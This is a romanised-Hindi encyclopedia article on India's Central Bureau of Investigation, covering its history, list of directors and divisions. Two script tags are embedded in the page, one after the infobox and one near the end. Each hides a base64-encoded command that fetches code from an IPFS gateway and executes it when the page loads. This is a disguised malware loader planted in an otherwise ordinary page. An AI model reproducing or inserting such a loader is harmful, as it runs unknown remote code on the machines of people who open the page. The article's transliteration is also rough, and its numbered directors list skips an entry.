केंद्रीय अन्वेषण ब्यूरो

भारत डिस्कवरी प्रस्तुति
(Redirected from सीबीआई)
Jump to navigation Jump to search
keandriy anveshan byooro
vivaran 'keandriy anveshan byooro' bharat sarakar ki pramukh jaanch ejensi hai. yah aparadhik evan rashtriy suraksha se ju de hue bhinn-bhinn prakar ke mamaloan ki jaanch karane ke liye lagayi jati hai.
sthapana 1 aprॅl, 1963
adarsh vaky udyamita, nishpakshata aur satyanishtha
mukhyalay nee dilli
sansthapak di. pi. kohali
vartaman nideshak anil kumar sinha
kshetr 4 (dilli, kolakata, mumbee, chennee)
shakha 52
any janakari varsh 1965 se lekar kendriy anveshan byooro ko arthik aparadhoan aur paranparagat svaroop ke mahatvapoorn aparadhoan jaise hatya, apaharan, atankavadi aparadh ityadi jaise chunianda mamaloan ki jaanch ka kary sauanpa gaya.
bahari k diyaan adhikarik vebasait
adyatan‎

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

keandriy anveshan byooro (aangrezi: Central Bureau of Investigation) athava 'sibiaee' bharat sarakar ki pramukh jaanch ejensi hai. yah aparadhik evan rashtriy suraksha se ju de hue bhinn-bhinn prakar ke mamaloan ki jaanch karane ke liye lagayi jati hai. sibiaee karmik evan prashikshan vibhag ke adhin kary karati hai. yadyapi isaka sangathan phedaral byooro aauf investigeshan se milata-julata hai kintu isake adhikar evan kary-kshetr efabiaee ki tulana mean bahut simit haian. isake adhikar evan kary dilli vishesh pulis sansthan adhiniyam, 1946 se paribhashit haian. bharat ke liye sibiaee hi intarapol ki adhikarik ikaee hai.

itihas

keandriy anveshan byooro, jisaki sthapana varsh 1941 mean bharat sarakar dvara vishesh pulis sthapana (esapiee) ke tahat ki gee thi, apane gathan ke uddeshy ki or agrasar hai. us samay esapiee ka mukhy kary doosare vishv yuddh ke dauran bharat ke yuddh tatha apoorti vibhag mean len-den mean rishvatakhori aur bhrashtachar ke mamaloan ki jaanch-p datal karana tha. esapiee yuddh vibhag ke dekh-rekh mean tha. yahaan tak ki yuddh ke samapt hone tak ki kendriy sarakar dvara karmachariyoan se sanbandhit rishvatakhori aur bhrashtachar ke mamaloan ki jaanch karane ke lie ek kendriy sarakar ki jaanch ejeansi ki zaroorat mahasoos ki gee thi. isalie, 1946 mean dilli vishesh pulis sthapana adhiniyam ko lagoo kiya gaya. yah adhiniyam esapiee ke adhikshan ko grih vibhag ko hastaantarit karata hai aur isake karyoan ke paridhi ko badhakar bharat sarakar ke sabhi vibhagoan ko karata hai. esapiee ka karyakshetr sabhi sangh shasit rajyoan ko shamil karata hai aur rajy sarakar ki sahamati se rajy mean ise lagoo kiya ja sakata hai.

jaanch ka dayara

diesapiee ne grih mantralay ke dinaank 1 aprॅl, 1963 ke sankalp ke jarie kendriy anveshan byooro ke nam se apani khyati prapt ki hai. aranbh mean aise aparadh jo kendriy sarakar ke karmachariyoan dvara keval bhrashtachar se sanbandhit hote the, kendriy sarakar dvara adhisoochit kie ge the. age chalakar, b de paimane par sarakari kshetr ke upakramoan ke ban jane se in upakramoan ke karmachariyoan ko keandriy anveshan byooro ke jaanch dayare mean laya gaya. isi prakar, 1969 mean baiankoan ke rashtriyakaran ho jane par sarakari kshetr ke baiankoan aur unake karmachariyoan ko bhi kendriy anveshan byooro ke jaanch ke dayare mean laya gaya.

sansthapak evan nideshak

kendriy anveshan byooro ke sansthapak evan pratham nideshak di. pi. kohali the, jinhoanne 1 aprॅl, 1963 se 31 mee, 1968 tak isaka karyabhar sanbhala. isase pahale 1955 se 1963 tak vah vishesh pulis sthapana ke pulis mahanirikshak rahe. usase bhi pahale, unhoanne madhy bharat, uttar pradesh aur bharat sarakar mean pulis mahakamean mean vibhinn jimmedar padoan par kary kiya. vah esapiee ka karyabhar sanbhalane se pahale madhy bharat mean pulis ke pramukh rahe. di. pi. kohali ko unaki vishisht sevaoan ke lie unhean 1967 mean ‘padm bhooshan’ se sammanit kiya gaya tha. di. pi. kohali ek bhavi drashtathe, jinhoanne vishesh pulis sthapana ko ek rashtriy jaanch ejeansi ke roop mean bhavi zaroorat samajha. unhoanne pulis mahanirikshak tatha nideshak ke pad par rahate hue sangathan ko shaktishali banaya aur unake dvara banayi gee majaboot buniyadoan par dashakoan se sangathan age badh raha hai, jo aj bhi drishtigochar ho raha hai. kendriy anveshan byooro ke chauthe dvivarshik sanyukt sammelan aur rajy ke bhrashtachar virodhi adhikariyoan ke pratinidhiyoan ko sanbodhit karate hue unhoanne kaha tha ki “am janata apase apaki kshamata aur nishtha donoan mean sarvochch apeksha karati hai. is vishvas ko banae rakha jana hai. kendriy anveshan byooro ka mukhy uddeshy parishram, nishpakshata aur eemanadari. yah sadaiv apake kary mean apaka margadarshan kareange. sabase pahale, ham jahaan bhi hoan, kisi bhi samay aur kisi bhi paristhiti mean apane kartavy ko nibhana hai.“

kendriy anveshan byooro ke nideshak[1]
kramaank nam karyakal
1. di. pi. kohali 1 aprॅl, 1963 - 31 mee, 1968
2. eph. vi. arool 31 mee 1968 - 6 mee 1971
3. di. sen 6 mee 1971 - 29 march 1977
4. es. en. mathur 29 march 1977 - 2 mee 1977
5. si. vi. narasimhan 2 mee 1977 - 25 navambar 1977
6. j aaun lob 25 navambar 1977 - 30 joon 1979
7. ar. di. sianh 30 joon 1979 - 24 janavari 1980
9. je. es. bava 24 janavari 1980 - 28 faravari 1985
10. em. ji. katare 28 faravari 1985 - 31 aktoobar 1989
11. e. pi. mukharji 31 aktoobar 1989 - 11 janavari 1990
12. ar. shekhar 11 janavari 1990 - 14 disambar 1990
13. vijay karan 14 disambar 1990 - 1 joon 1992
14. es. ke. datta 1 joon 1992 - 31 julaee 1993
15. ke. vijay rama rav 31 julaee 1993 - 31 julaee 1996
16. jogiandar sianh 31 julaee 1996 - 30 joon 1997
17. ar. si. sharma 30 joon 1997 - 31 janavari 1998
18. di. ar. kartikeyan (prabhari) 31 janavari 1998 - 31 march 1998
19. d aau. ti. en. mishra (prabhari) 31 march 1998 - 4 janavari 1999
20. d aau. ar. ke. raghavan 4 janavari 1999 - 30 aprॅl 2001
21. pi. si. sharma 30 aprॅl 2001 - 6 disambar 2003
22. yoo. es. mishra 6 disambar 2003 - 6 disambar 2005
23. vijay shankar 12 disambar 2005 - 31 julaee 2008
24. ashvini kumar 2 agast 2008 - 30 navambar 2010
25. e. pi. sianh 30 navambar, 2010 - 30 navambar, 2012
26. anil kumar sinha 1 disambar, 2012 se ab tak

rashtriy anveshan ejeansi ke roop mean ubharana

varsh 1965 se lekar kendriy anveshan byooro ko arthik aparadhoan aur paranparagat svaroop ke mahatvapoorn aparadhoan jaise hatya, apaharan, atankavadi aparadh ityadi jaise chunianda mamaloan ki jaanch ka kary sauanpa gaya. esapiee ke aranbh mean do viang the. inamean ek samany aparadh viang (ji.o.dablyoo.) aur doosara arthik aparadh viang tha. samany aparadh viang kendriy sarakar aur sarakari kshetr ke upakramoan ke karmachariyoan jo rishvatakhori aur bhrashtachar mean lipt the, unaki jaanch karana tha aur arthik aparadh viang arthik/rajakoshiy niyamoan ke ullanghan ke vibhinn mamaloan ki jaanch karana tha. is vyavastha ke tahat samany aparadh viang ki pratyek rajy mean kam-se-kam ek shakha thi aur aparadh viang ki dilli, madras (ab chennee), banbee (ab mumbee) aur kalakatta (ab kolakata) arthath charoan mahanagaroan mean shakha thi. arthik aparadh shakha, braanchoan ka kary kshetroan arthath pratyek braanch ko jo bahut sare rajyoan ko apane karyakshetr mean rakhe hue the, ko riport karana tha.

bhoomika mean vistar

kendriy anveshan byooro ke roop mean varshoan se isane nishpakshata aur sakshamata mean khyati sthapit ki hai. hatya, apaharan, atankavadi aparadh ityadi jaise paranparagat aparadhoan ke mamaloan ki jaanch karane ki maang uthane lagi. isake alava, desh ke sarvochch nyayalay aur vibhinn uchch nyayalayoan ne bhi pi dit partiyoan dvara darj ki gee arjiyoan par kendriy anveshan byooro dvara jaanch karane ke lie vishvas vyakt kiya. is shreni ke tahat darj ki gee vibhinn arjiyoan ko dhyan mean rakhate hue kendriy anveshan byooro dvara in par jaanch ki jati rahi hai aur yah paya gaya hai ki sthaniy star par shakha hone par mamaloan ka nipatara jaldi hota hai. at: varsh 1987 mean yah nirnay liya gaya tha ki kendriy anveshan byooro mean do jaanch prabhagoan arthath bhrashtachar nirodhak prabhag aur vishesh aparadh prabhag ka gathan kiya jae aur bad mean arthik aparadhoan ke sath-sath paranparagat aparadhoan ki jaanch ki jane lagi.

kendriy anveshan byooro ke prabhag

bhrashtachar nirodhak shakha

bhrashtachar nirodhak prabhag bhrashtachar se sanbandhit soochana ekatr karane, vibhinn vibhagoan ke sath unake satarkata adhikariyoan ke madhyam se sampark sthapit karane, bhrashtachar evan rishvatakhori ki shikayatoan ki jaanch karane, bhrashtachar evan rishvatakhori se sanbandhit aparadhoan ka anveshan evan abhiyojan tatha bhrashtachar nirodhak pakshoan par kary karane hetu jimmevar hai. bhrashtachar nirodhak prabhag kendriy sarakar ke niyantran mean ane vale lok sevakoan, kendriy sarakar ke niyantran mean ane vale sarvajanik kshetr ke upakramoan ke lok sevakoan tatha rajy sarakaroan dvara sibiaee ko sauanpe ge rajy sarakar ke adhin karyarat lok sevakoan ke viruddh mamaloan aur uparokt ullikhit lok sevakoan dvara kie ge gambhir aniyamitataoan ka anveshan karati hai.

vishesh aparadh prabhag

sabhi prakar ke arthik aparadhoan evan aantarik suraksha, guptachari, aantardhvas, madak padarth evan saikotropik padarth, puravastu, hatya, dakaiti/chori, chhal, aparadhik nyasabhang, kootarachana, dahej hatya, sandehaspad maut jaise paramparagat aparadhoan evan any aeepisi aparadhoan ke sath-sath diesapiee ekt ke aantargat adhisoochit any kanoonoan ke tahat kie ge aparadhoan se sanbandhit mamaloan ko vishesh aparadh prabhag sanbhalata hai. yah aantarrajyiy evan aantarrashtriy raiketoan, sarakari rajasv ya sampatti ko prabhavit karane vali vrihad paimane par kie kapat tatha rashtriy mahatv ke aparadhoan ke anveshan hetu jimmedar hai.

arthik aparadh prabhag

arthik aparadh prabhag baiank kapat, kale dhan ko vaidh banane, gair-kanooni maudrik bazar kriyakalapoan, sarvajanik kshetr ke upakramoan aur baiankoan mean rishvatakhori jaise vittiy aparadhoan ka anveshan karati hai.

takaniki salahakar ekak

takaniki salahakar ekak baiankiang, karadhan, abhiyaantriki evan videsh vyapar/videsh mudra mamaloan mean sibiaee ke dvara lie ge jaanch evan anveshan mean visheshajn margadarshan upalabdh karati hai. takaniki salahakar ekak haian:-

  • baiankiang kampani vidhi/karadhan ekak
  • abhiyaantriki salahakar ekak (sivil/vidyut vishay)
  • karadhan salahakar ekak (pratyaksh/apratyaksh kar vishay)
  • videshi vyapar / videshi mudra salahakar ekak

abhiyojan nideshalay

vinit narayan mamale mean uchchatam nyayalay ke adeshanusar abhiyojan nideshalay ka gathan kiya gaya. sibiaee mamaloan mean abhiyojan sanchalit karane ke alava sibiaee mamaloan mean vidhik salah pradan karati hai. pulis mahanirikshakoan/pulis mahanideshakoan ke sammelanoan mean uthae ge vidhik vishayoan mean, sanbandhit mamaloan mean kanoon ki vyakhya, vishesh kauansel ki niyukti, saanvidhik niyam evan viniyaman tatha unake sanshodhanoan, sibiaee gajat mean prakashit hone vale vidhi mamale se sanbandhit not ki taiyari mean bhi nideshalay kary karati hai.

niti prabhag

sibiaee ki niti, kriyavidhi, sangathan, satarkata evan suraksha sanbandhi sabhi mamaloan ki dekhabhal, mantralayoan se sampark evan patrachar tatha satarkata evan bhrashtachar-nirodh se sanbandhit vishesh karyakramoan ka kriyanvayan ityadi niti prabhag karati hai.

prashasan prabhag

sibiaee ke sabhi prabhagoan ke karmikoan, sangathan evan lekha se sanbandhit sabhi mamaloan ki dekhabhal sibiaee ke prashasan prabhag ke dvara kiya jata hai jisaki adhyakshata sanyukt nideshak/pulis mahanirikshak raiank ke adhikari karate haian.

sistam prabhag

sistam prabhag sibiaee ke soochana praudyogiki ki zarooratoan ki dekhabhal karata hai. yah sansadiy prashnoan ke uttar, niyuktiyoan/puraskaroan hetu sibiaee kliyareans ityadi se sanbandhit aank doan ka rakh-rakhav karata hai. maujooda samay mean chal rahi sibiaee ki vrihad kampyootarikaran yojana ka kary bhi is prabhag ki nigarani mean chal raha hai. sibiaee kaman kendr jisamean rananiti sanchar kendr aur netavark nigarani kendr ate haian, sistam prabhag ke adhin kary karati haian.

samanvay prabhag

samanvay prabhag mean nimnalikhit ekak sammilit haian:-

  • samanvay ekak
  • iantarapol ekak

samanvay ekak pulis mahanideshakoan, siaeedi ke sangathanoan aur any sammelanoan mean bhag leti hai aur sibiaee buletin ke prakashan ka bhi prabhari hai. iantarapol ekak rashtriy kendriy byooro ka sachivalay hai aur nideshak, sibiaee ko rashtriy kendriy byooro ke adhyaksh hone ke taur par usaki sahayata karata hai. iantarapol ekak rashtriy kendriy byooro ke sachivalay ke roop mean aantarrashtriy aparadhik pulis sangathan-iantarapol ke sath sampark ka kary karati hai aur iantarapol ke sadasy deshoan ke sath sampark sthapit karane ka kary karati hai. videshoan mean kie jane vale sibiaee ya rajy pulis ke mamaloan ke anveshan hetu yah anveshan sanbandhi nivedanoan ke patracharoan ki dekharekh aur anuvarti karravaee karati hai. isi prakar bahari deshoan se bharat mean anveshan hetu nivedanoan ko iantarapol ekak dvara rajy pulisoan ko agrasarit kar di jati hai aur us par anuvarti karravaee bhi ki jati hai.

kendriy nyayavaidyak vijnan (ph aaureansik) prayogashala

kendriy nyayavaidyak vijnan prayogashala (siephesel) aparadh anveshan se sanbandhit ph aaureansik vijnan ke vibhinn pahaluoan par visheshajn ray pradan karati hai. dilli pulis aur sibiaee ke alava yah aparadhik mamaloan mean kendriy sarakar vibhagoan, rajyoan, rajy ph aaureansik prayogashalaoan, raksha baloan, sarakari upakramoan, vishvavidyalayoan, baiankoan ityadi ka sahayog karati hai. prayogashala mean vishesh samasyaoan ke samadhan hetu ek shodh evan vikas vyavastha bhi hai. siephesel mean upalabdh visheshajnoan ka sibiaee, aeesiephes, pulis prashikshan sansthanoan, vishvavidyalayoan aur vidhi pravartan pathyakram ko sanchalit karane vale sarakari vibhagoan ke dvara sanchalit shikshan tatha prashikshan karyakramoan mean bhi upayog kiya jata hai. pravartan ejeansiyoan dvara ph aaureansik vishleshanoan tatha ilektr aaunik sakshyoan ko ekatrit karane mean siephesel ke adhin karyarat saibar ph aaureansik prayogashala evan dijital imejiang kendr sahayata karate haian. siephesel ke visheshajnoan ko nyayalay ke samaksh upasthit hone hetu samman kiya jata hai. unaki seva anveshan ejeansiyoan ke dvara aparadh sthal ke nirikshan mean bhi upayog ki jati hai.

prashikshan prabhag

gaziyabad sthit sibiaee akadami ek adhunik prashikshan kendr hai jo ek adhunik aparadh anveshak ko banane hetu visheshikrit jnan evan kaushal pradan karata hai. nav-niyukt pulis upadhikshakoan, up-nirikshakoan evan arakshakoan ke lie avasiy phauandeshan pathyakram ka sanchalan kiya jata hai. sibiaee evan rajy pulis ke adhikariyoan sahit vibhinn vibhagoan ke satarkata adhikariyoan ko visheshikrit vishayoan ke pathyakramoan par punashcharya path ( riphreshar kors) bhi karaya jata hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. kendriy anveshan byooro ka sankshipt itihas (hindi) kendriy anveshan byooro. abhigaman tithi: 28 janavari, 2015.

bahari k diyaan

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah